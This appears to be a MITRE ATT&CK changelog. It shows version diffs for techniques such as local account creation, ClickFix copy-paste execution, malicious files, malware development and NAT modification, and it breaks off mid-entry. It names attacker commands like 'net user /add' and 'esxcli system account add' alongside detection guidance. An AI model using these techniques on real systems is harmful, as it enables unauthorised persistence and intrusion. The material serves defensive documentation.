| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:43.436000+00:00 | 2025-10-24 17:48:59.237000+00:00 |
| x_mitre_detection | File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms. | |
| x_mitre_version | 2.3 | 2.4 |
Current version: 2.6
Version changed from: 2.5 → 2.6
New Mitigations:
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:17.217000+00:00 | 2025-10-24 17:49:32.714000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.
+
+Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | |
| x_mitre_version | 2.5 | 2.6 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Don Le, Stifel Financial |
Current version: 1.2
Version changed from: 1.1 → 1.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may check for Internet connectivity on compromis | t | 1 | Adversaries may check for Internet connectivity on compromis |
| > | ed systems. This may be performed during automated discovery | > | ed systems. This may be performed during automated discovery | ||
| > | and can be accomplished in numerous ways such as using [Pin | > | and can be accomplished in numerous ways such as using [Pin | ||
| > | g](https://attack.mitre.org/software/S0097), <code>tracert</ | > | g](https://attack.mitre.org/software/S0097), <code>tracert</ | ||
| > | code>, and GET requests to websites. Adversaries may use th | > | code>, and GET requests to websites, or performing initial s | ||
| > | e results and responses from these requests to determine if | > | peed testing to confirm bandwidth. Adversaries may use the | ||
| > | the system is capable of communicating with their C2 servers | > | results and responses from these requests to determine if th | ||
| > | before attempting to connect to them. The results may also | > | e system is capable of communicating with their C2 servers b | ||
| > | be used to identify routes, redirectors, and proxy servers. | > | efore attempting to connect to them. The results may also be | ||
| > | used to identify routes, redirectors, and proxy servers. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Christopher Peacock'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:45:52.631000+00:00 | 2025-10-24 17:48:26.017000+00:00 |
| description | Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.
+
+Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers. | Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.
+
+Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity. | |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.5
Version changed from: 1.4 → 1.5
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a local account to maintain access to | t | 1 | Adversaries may create a local account to maintain access to |
| > | victim systems. Local accounts are those configured by an o | > | victim systems. Local accounts are those configured by an o | ||
| > | rganization for use by users, remote support, services, or f | > | rganization for use by users, remote support, services, or f | ||
| > | or administration on a single system or service. For examp | > | or administration on a single system or service. For examp | ||
| > | le, with a sufficient level of access, the Windows <code>net | > | le, with a sufficient level of access, the Windows <code>net | ||
| > | user /add</code> command can be used to create a local acco | > | user /add</code> command can be used to create a local acco | ||
| > | unt. In Linux, the `useradd` command can be used, while on | > | unt. In Linux, the `useradd` command can be used, while on | ||
| > | macOS systems, the <code>dscl -create</code> command can be | > | macOS systems, the <code>dscl -create</code> command can be | ||
| > | used. Local accounts may also be added to network devices, o | > | used. Local accounts may also be added to network devices, o | ||
| > | ften via common [Network Device CLI](https://attack.mitre.or | > | ften via common [Network Device CLI](https://attack.mitre.or | ||
| > | g/techniques/T1059/008) commands such as <code>username</cod | > | g/techniques/T1059/008) commands such as <code>username</cod | ||
| > | e>, to ESXi servers via `esxcli system account add`, or to K | > | e>, to ESXi servers via `esxcli system account add`, or to K | ||
| > | ubernetes clusters using the `kubectl` utility.(Citation: ci | > | ubernetes clusters using the `kubectl` utility.(Citation: ci | ||
| > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | ||
| > | rity) Such accounts may be used to establish secondary cred | > | rity) Adversaries may also create new local accounts on net | ||
| > | entialed access that do not require persistent remote access | > | work firewall management consoles – for example, by exploiti | ||
| > | tools to be deployed on the system. | > | ng a vulnerable firewall management system, threat actors ma | ||
| > | y be able to establish super-admin accounts that could be us | ||||
| > | ed to modify firewall rules and gain further access to the n | ||||
| > | etwork.(Citation: Cyber Security News) Such accounts may be | ||||
| > | used to establish secondary credentialed access that do not | ||||
| > | require persistent remote access tools to be deployed on th | ||||
| > | e system. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:36.237000+00:00 | 2025-10-24 17:48:51.903000+00:00 |
| description | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
+
+For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)
+
+Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
+
+For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)
+
+Adversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)
+
+Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations. | |
| x_mitre_version | 1.4 | 1.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cyber Security News', 'description': 'Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.', 'url': 'https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may rely upon a user copying and pasting code i | t | 1 | An adversary may rely upon a user copying and pasting code i |
| > | n order to gain execution. Users may be subjected to social | > | n order to gain execution. Users may be subjected to social | ||
| > | engineering to get them to copy and paste code directly into | > | engineering to get them to copy and paste code directly into | ||
| > | a [Command and Scripting Interpreter](https://attack.mitre. | > | a [Command and Scripting Interpreter](https://attack.mitre. | ||
| > | org/techniques/T1059). Malicious websites, such as those | > | org/techniques/T1059). One such strategy is "ClickFix," in w | ||
| > | used in [Drive-by Compromise](https://attack.mitre.org/techn | > | hich adversaries present users with seemingly helpful soluti | ||
| > | iques/T1189), may present fake error messages or CAPTCHA pro | > | ons—such as prompts to fix errors or complete CAPTCHAs—that | ||
| > | mpts that instruct users to open a terminal or the Windows R | > | instead instruct the user to copy and paste malicious code. | ||
| > | un Dialog box and execute an arbitrary command. These comman | > | Malicious websites, such as those used in [Drive-by Comprom | ||
| > | ds may be obfuscated using encoding or other techniques to c | > | ise](https://attack.mitre.org/techniques/T1189), may present | ||
| > | onceal malicious intent. Once executed, the adversary will t | > | fake error messages or CAPTCHA prompts that instruct users | ||
| > | ypically be able to establish a foothold on the victim's mac | > | to open a terminal or the Windows Run Dialog box and execute | ||
| > | hine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoi | > | an arbitrary command. These commands may be obfuscated usin | ||
| > | a ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citatio | > | g encoding or other techniques to conceal malicious intent. | ||
| > | n: AhnLab LummaC2 2025) Adversaries may also leverage phish | > | Once executed, the adversary will typically be able to estab | ||
| > | ing emails for this purpose. When a user attempts to open an | > | lish a foothold on the victim's machine.(Citation: CloudSEK | ||
| > | attachment, they may be presented with a fake error and off | > | Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citatio | ||
| > | ered a malicious command to paste as a solution.(Citation: P | > | n: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) | ||
| > | roofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Pas | > | Adversaries may also leverage phishing emails for this purpo | ||
| > | te 2024) Tricking a user into executing a command themselve | > | se. When a user attempts to open an attachment, they may be | ||
| > | s may help to bypass email filtering, browser sandboxing, or | > | presented with a fake error and offered a malicious command | ||
| > | other mitigations designed to protect users against malicio | > | to paste as a solution, consistent with the "ClickFix" strat | ||
| > | us downloaded files. | > | egy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Ma | ||
| > | licioys Copy Paste 2024) Tricking a user into executing a c | ||||
| > | ommand themselves may help to bypass email filtering, browse | ||||
| > | r sandboxing, or other mitigations designed to protect users | ||||
| > | against malicious downloaded files. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-30 17:53:48.667000+00:00 | 2025-10-05 17:30:01.834000+00:00 |
| description | An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). + +Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) + +Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024) + +Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. | An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is "ClickFix," in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. + +Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) + +Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the "ClickFix" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024) + +Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.6
Version changed from: 1.5 → 1.6
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may rely upon a user opening a malicious file i | t | 1 | An adversary may rely upon a user opening a malicious file i |
| > | n order to gain execution. Users may be subjected to social | > | n order to gain execution. Users may be subjected to social | ||
| > | engineering to get them to open a file that will lead to cod | > | engineering to get them to open a file that will lead to cod | ||
| > | e execution. This user action will typically be observed as | > | e execution. This user action will typically be observed as | ||
| > | follow-on behavior from [Spearphishing Attachment](https://a | > | follow-on behavior from [Spearphishing Attachment](https://a | ||
| > | ttack.mitre.org/techniques/T1566/001). Adversaries may use s | > | ttack.mitre.org/techniques/T1566/001). Adversaries may use s | ||
| > | everal types of files that require a user to execute them, i | > | everal types of files that require a user to execute them, i | ||
| > | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp | > | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp | ||
| > | l, and .reg. Adversaries may employ various forms of [Masqu | > | l, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10) | ||
| > | erading](https://attack.mitre.org/techniques/T1036) and [Obf | > | Adversaries may employ various forms of [Masquerading](htt | ||
| > | uscated Files or Information](https://attack.mitre.org/techn | > | ps://attack.mitre.org/techniques/T1036) and [Obfuscated File | ||
| > | iques/T1027) to increase the likelihood that a user will ope | > | s or Information](https://attack.mitre.org/techniques/T1027) | ||
| > | n and successfully execute a malicious file. These methods m | > | to increase the likelihood that a user will open and succes | ||
| > | ay include using a familiar naming convention and/or passwor | > | sfully execute a malicious file. These methods may include u | ||
| > | d protecting the file and supplying instructions to a user o | > | sing a familiar naming convention and/or password protecting | ||
| > | n how to open it.(Citation: Password Protected Word Docs) | > | the file and supplying instructions to a user on how to ope | ||
| > | While [Malicious File](https://attack.mitre.org/techniques/T | > | n it.(Citation: Password Protected Word Docs) While [Malic | ||
| > | 1204/002) frequently occurs shortly after Initial Access it | > | ious File](https://attack.mitre.org/techniques/T1204/002) fr | ||
| > | may occur at other phases of an intrusion, such as when an a | > | equently occurs shortly after Initial Access it may occur at | ||
| > | dversary places a file in a shared directory or on a user's | > | other phases of an intrusion, such as when an adversary pla | ||
| > | desktop hoping that a user will click on it. This activity m | > | ces a file in a shared directory or on a user's desktop hopi | ||
| > | ay also be seen shortly after [Internal Spearphishing](https | > | ng that a user will click on it. This activity may also be s | ||
| > | ://attack.mitre.org/techniques/T1534). | > | een shortly after [Internal Spearphishing](https://attack.mi | ||
| > | tre.org/techniques/T1534). | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:13.883000+00:00 | 2025-10-24 17:48:31.674000+00:00 |
| description | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg. + +Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) + +While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10) + +Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) + +While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. + +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe). | |
| x_mitre_version | 1.5 | 1.6 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Mandiant Trojanized Windows 10', 'description': 'Mandiant Intelligence. (2022, December 15). Trojanized Windows 10 Operating System Installers Targeted Ukrainian Government. Retrieved September 26, 2025.', 'url': 'https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may develop malware and malware components that | t | 1 | Adversaries may develop malware and malware components that |
| > | can be used during targeting. Building malicious software ca | > | can be used during targeting. Building malicious software ca | ||
| > | n include the development of payloads, droppers, post-compro | > | n include the development of payloads, droppers, post-compro | ||
| > | mise tools, backdoors (including backdoored images), packers | > | mise tools, backdoors (including backdoored images), packers | ||
| > | , C2 protocols, and the creation of infected removable media | > | , C2 protocols, and the creation of infected removable media | ||
| > | . Adversaries may develop malware to support their operation | > | . Adversaries may develop malware to support their operation | ||
| > | s, creating a means for maintaining control of remote machin | > | s, creating a means for maintaining control of remote machin | ||
| > | es, evading defenses, and executing post-compromise behavior | > | es, evading defenses, and executing post-compromise behavior | ||
| > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | ||
| > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) Du | ||
| > | with legitimate development efforts, different skill sets m | > | ring malware development, adversaries may intentionally incl | ||
| > | ay be required for developing malware. The skills needed may | > | ude indicators aligned with other known actors in order to m | ||
| > | be located in-house, or may need to be contracted out. Use | > | islead attribution by defenders.(Citation: Olympic Destroyer | ||
| > | of a contractor may be considered an extension of that adver | > | )(Citation: Risky Bulletin Threat actor impersonates FSB APT | ||
| > | sary's malware development capabilities, provided the advers | > | )(Citation: GamaCopy organization) As with legitimate devel | ||
| > | ary plays a role in shaping requirements and maintains a deg | > | opment efforts, different skill sets may be required for dev | ||
| > | ree of exclusivity to the malware. Some aspects of malware | > | eloping malware. The skills needed may be located in-house, | ||
| > | development, such as C2 protocol development, may require ad | > | or may need to be contracted out. Use of a contractor may be | ||
| > | versaries to obtain additional infrastructure. For example, | > | considered an extension of that adversary's malware develop | ||
| > | malware developed that will communicate with Twitter for C2, | > | ment capabilities, provided the adversary plays a role in sh | ||
| > | may require use of [Web Services](https://attack.mitre.org/ | > | aping requirements and maintains a degree of exclusivity to | ||
| > | techniques/T1583/006).(Citation: FireEye APT29) | > | the malware. Some aspects of malware development, such as C | ||
| > | 2 protocol development, may require adversaries to obtain ad | ||||
| > | ditional infrastructure. For example, malware developed that | ||||
| > | will communicate with Twitter for C2, may require use of [W | ||||
| > | eb Services](https://attack.mitre.org/techniques/T1583/006). | ||||
| > | (Citation: FireEye APT29) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:47:44.654000+00:00 | 2025-10-24 17:48:30.776000+00:00 |
| description | Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) + +As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. + +Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) | Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) + +During malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.(Citation: Olympic Destroyer)(Citation: Risky Bulletin Threat actor impersonates FSB APT)(Citation: GamaCopy organization) + +As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. + +Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Risky Bulletin Threat actor impersonates FSB APT', 'description': 'Catalin Cimpanu. (2025, January 22). Risky Bulletin: Threat actor impersonates FSB APT for months to target Russian orgs. Retrieved June 14, 2025.', 'url': 'https://news.risky.biz/risky-bulletin-threat-actor-impersonates-fsb-apt-for-months-to-target-russian-orgs/'} | |
| external_references | {'source_name': 'GamaCopy organization', 'description': 'Knownsec 404 Advanced Threat Intelligence team. (2025, January 21). Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses military — related bait to launch attacks on Russia. Retrieved June 14, 2025.', 'url': 'https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa'} | |
| external_references | {'source_name': 'Olympic Destroyer', 'description': 'Paul Rascagneres, Martin Lee. (2018, February 26). Who Wasn’t Responsible for Olympic Destroyer?. Retrieved June 14, 2025.', 'url': 'https://blog.talosintelligence.com/who-wasnt-responsible-for-olympic/'} |
Current version: 2.4
Version changed from: 2.3 → 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:56.270000+00:00 | 2025-10-24 17:49:11.774000+00:00 |
| x_mitre_detection | When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. + +In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP. | |
| x_mitre_version | 2.3 | 2.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bridge network boundaries by modifying a net | t | 1 | Adversaries may bridge network boundaries by modifying a net |
| > | work device’s Network Address Translation (NAT) configuratio | > | work device’s Network Address Translation (NAT) configuratio | ||
| > | n. Malicious modifications to NAT may enable an adversary to | > | n. Malicious modifications to NAT may enable an adversary to | ||
| > | bypass restrictions on traffic routing that otherwise separ | > | bypass restrictions on traffic routing that otherwise separ | ||
| > | ate trusted and untrusted networks. Network devices such as | > | ate trusted and untrusted networks. Network devices such as | ||
| > | routers and firewalls that connect multiple networks togeth | > | routers and firewalls that connect multiple networks togeth | ||
| > | er may implement NAT during the process of passing packets b | > | er may implement NAT during the process of passing packets b | ||
| > | etween networks. When performing NAT, the network device wil | > | etween networks. When performing NAT, the network device wil | ||
| > | l rewrite the source and/or destination addresses of the IP | > | l rewrite the source and/or destination addresses of the IP | ||
| > | address header. Some network designs require NAT for the pac | > | address header. Some network designs require NAT for the pac | ||
| > | kets to cross the border device. A typical example of this | > | kets to cross the border device. A typical example of this | ||
| > | is environments where internal networks make use of non-Inte | > | is environments where internal networks make use of non-Inte | ||
| > | rnet routable addresses.(Citation: RFC1918) When an adversa | > | rnet routable addresses.(Citation: RFC1918) When an adversa | ||
| > | ry gains control of a network boundary device, they can eith | > | ry gains control of a network boundary device, they may modi | ||
| > | er leverage existing NAT configurations to send traffic betw | > | fy NAT configurations to send traffic between two separated | ||
| > | een two separated networks, or they can implement NAT config | > | networks, or to obscure their activities. In network design | ||
| > | urations of their own design. In the case of network design | > | s that require NAT to function, such modifications enable th | ||
| > | s that require NAT to function, this enables the adversary t | > | e adversary to overcome inherent routing limitations that wo | ||
| > | o overcome inherent routing limitations that would normally | > | uld normally prevent them from accessing protected systems b | ||
| > | prevent them from accessing protected systems behind the bor | > | ehind the border device. In network designs that do not req | ||
| > | der device. In the case of network designs that do not requ | > | uire NAT, adversaries may use address translation to further | ||
| > | ire NAT, address translation can be used by adversaries to o | > | obscure their activities, as changing the addresses of pack | ||
| > | bscure their activities, as changing the addresses of packet | > | ets that traverse a network boundary device can make monitor | ||
